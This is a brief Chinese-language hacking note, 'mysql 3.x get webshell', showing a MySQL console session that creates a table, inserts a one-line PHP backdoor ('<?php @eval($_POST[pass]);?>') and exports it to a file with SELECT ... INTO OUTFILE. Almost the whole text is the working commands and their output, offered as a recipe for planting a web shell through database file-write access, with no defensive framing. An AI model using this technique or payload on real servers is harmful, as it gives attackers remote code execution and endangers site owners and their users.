mysql 3.x拿webshell
先建表 字段
写入一句话
查询导出一句话
mysql> use mysql
Database changed
mysql> Create TABLE demo (sanr text NOT NULL);
Query OK, 0 rows affected (0.00 sec)
mysql> Insert INTO demo (sanr) VALUES('<?php @eval($_POST[pass]);?>');
Query OK, 1 row affected (0.00 sec)
mysql> select sanr from demo into outfile 'c:/1.txt';
Query OK, 1 row affected (0.03 sec)
mysql>